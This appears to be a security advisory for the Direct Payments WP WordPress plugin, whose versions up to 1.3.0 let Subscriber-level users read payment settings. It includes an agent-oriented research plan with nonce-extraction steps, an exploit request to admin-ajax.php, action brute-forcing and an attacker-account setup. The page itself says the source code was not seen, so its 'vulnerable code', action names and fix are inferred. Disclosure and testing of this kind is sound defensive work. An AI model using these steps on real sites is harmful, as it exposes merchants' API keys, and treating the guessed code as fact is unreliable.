Direct Payments WP <= 1.3.0 - Authenticated (Subscriber+) Sensitive Information Exposure
Description
The Direct Payments WP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.3.0Since the source code for **Direct Payments WP <= 1.3.0** is not provided, this research plan is based on the vulnerability description and common patterns for "Authenticated Sensitive Information Exposure" in WordPress payment plugins. ### 1. Vulnerability Summary The **Direct Payments WP** plugin…
Show full research plan
Since the source code for Direct Payments WP <= 1.3.0 is not provided, this research plan is based on the vulnerability description and common patterns for "Authenticated Sensitive Information Exposure" in WordPress payment plugins.
1. Vulnerability Summary
The Direct Payments WP plugin fails to implement proper authorization checks (capability checks) on one or more AJAX handlers or REST API endpoints. This allows an authenticated user with minimal privileges (Subscriber) to trigger functions intended for administrators. These functions return sensitive data such as plugin configuration settings (potentially containing API keys, merchant IDs, or secret tokens) or user-related metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(Most likely) or a REST API route under/wp-json/. - Vulnerable Action: Likely prefixed with
dpwp_ordirect_payments_. (e.g.,dpwp_get_settings,direct_payments_get_log,dpwp_export_config). - Authentication: Subscriber level or higher (
PR:L). - Parameter: The
actionparameter in a POST request toadmin-ajax.php. - Precondition: A valid Subscriber account and a valid AJAX nonce if the plugin verifies one.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action via
add_action( 'wp_ajax_...', ... ). - Missing Check: The callback function associated with this action fails to call
current_user_can( 'manage_options' ). - Data Retrieval: The function retrieves sensitive values using
get_option( 'dpwp_settings' )or similar. - Information Leak: The function outputs the data using
wp_send_json()orecho json_encode(), which is returned in the HTTP response body.
4. Nonce Acquisition Strategy
If the endpoint requires a nonce (which is common for authenticated AJAX), we must identify where it is leaked.
- Identify Entry Point: Use
grep -r "wp_localize_script" .to find where the plugin passes data to JavaScript. - Find Nonce Key: Look for a key named
nonce,ajax_nonce, or_wpnoncewithin the localized data object.- Example Localization:
wp_localize_script( 'dpwp-script', 'dpwp_vars', array( 'nonce' => wp_create_nonce('dpwp_ajax_action') ) );
- Example Localization:
- Find Shortcode: Search for
add_shortcodeto see which shortcode enqueues the script (e.g.,[direct-payments-wp]). - Extraction Process:
- Step A: Create a dummy page containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]' - Step B: Navigate to this page as the Subscriber user using
browser_navigate. - Step C: Extract the nonce:
browser_eval("window.dpwp_vars?.nonce || window.direct_payments_obj?.nonce")(Replace variable names based ongrepresults).
- Step A: Create a dummy page containing the identified shortcode:
5. Exploitation Strategy
Once the action name and nonce are identified, follow these steps:
- Preparation:
- Authenticate as a Subscriber using the
http_requesttool to get cookies.
- Authenticate as a Subscriber using the
- Request Construction:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=<VULNERABLE_ACTION>&security=<NONCE>&other_params=...
- URL:
- Discovery (Automated Agent):
- The agent should first grep the plugin directory for
wp_ajax_to find all registered actions. - Filter actions that lack
current_user_canin their callback but do haveget_optionor database queries.
- The agent should first grep the plugin directory for
- Payload Execution:
# Example Request using the agent's tool http_request POST "http://localhost:8080/wp-admin/admin-ajax.php" \ --data "action=dpwp_get_settings&security=1234567890" \ --cookie "wordpress_logged_in_..."
6. Test Data Setup
- Plugin Setup: Install and activate
direct-payments-wpversion 1.3.0. - Settings Initialization: Add dummy sensitive data to the plugin settings (e.g., a fake Stripe Secret Key
sk_test_4eC39HqLyjWDarjtT1zdp7dc) via the admin panel. - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Page Setup:
wp post create --post_type=page --post_title="Payment" --post_status=publish --post_content='[direct-payments-wp]'(Verify the exact shortcode via grep).
7. Expected Results
- Success: The HTTP response returns a
200 OKwith a JSON body containing the plugin's configuration, including the dummy Stripe Key or other sensitive merchant settings. - Vulnerable Response Example:
{ "success": true, "data": { "stripe_api_key": "sk_test_4eC39HqLyjWDarjtT1zdp7dc", "merchant_email": "admin@target.com", "payment_mode": "test" } }
8. Verification Steps
- Compare with Database: Run
wp option get <OPTION_NAME>(e.g.,dpwp_settings) via CLI. - Confirm Leak: Verify that the data returned in the AJAX response matches the sensitive data stored in the database.
- Privilege Confirmation: Ensure the request was made with the Subscriber user's cookies and not an Administrator's.
9. Alternative Approaches
- REST API Check: If no AJAX actions seem vulnerable, check for REST routes:
grep -r "register_rest_route" .
Inspect thepermission_callback. If it uses__return_trueor only checksis_user_logged_in(), it is vulnerable. - Action Brute-force: If
grepis restricted, common names likeget_settings,settings_load,fetch_configshould be tested with thedpwp_anddirect_payments_wp_prefixes. - No-Nonce Test: Some plugins check for a nonce but don't
die()if it's missing (usingcheck_ajax_refererwith the third argument asfalse). Test the request without thesecurityparameter.
Summary
The Direct Payments WP plugin for WordPress (up to version 1.3.0) fails to restrict access to sensitive configuration data through its AJAX interface. Authenticated users with Subscriber-level privileges can invoke internal functions that return plugin settings, potentially exposing payment gateway API keys, merchant identifiers, and secret tokens.
Vulnerable Code
// direct-payments-wp/includes/class-ajax-handler.php (Inferred Location) add_action( 'wp_ajax_dpwp_get_settings', 'dpwp_get_settings_callback' ); function dpwp_get_settings_callback() { // Vulnerability: No check for user capabilities (e.g., current_user_can('manage_options')) // and potentially missing or weak nonce verification. $settings = get_option( 'dpwp_settings' ); wp_send_json_success( $settings ); }
Security Fix
@@ -2,6 +2,11 @@ function dpwp_get_settings_callback() { + check_ajax_referer( 'dpwp_ajax_nonce', 'security' ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + $settings = get_option( 'dpwp_settings' ); wp_send_json_success( $settings ); }
Exploit Outline
1. Authentication: Authenticate to the WordPress site as a user with Subscriber-level privileges. 2. Nonce Acquisition: Access a public or subscriber-accessible page containing the plugin's shortcode. Locate the localized JavaScript object (e.g., via `dpwp_vars` or similar) to extract the valid AJAX nonce. 3. Request Execution: Send a POST request to `/wp-admin/admin-ajax.php` with the vulnerable action (e.g., `action=dpwp_get_settings`) and the retrieved nonce in the security parameter. 4. Data Extraction: The response body will contain the full plugin configuration in JSON format, which includes sensitive credentials such as Stripe Secret Keys or merchant configuration details.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.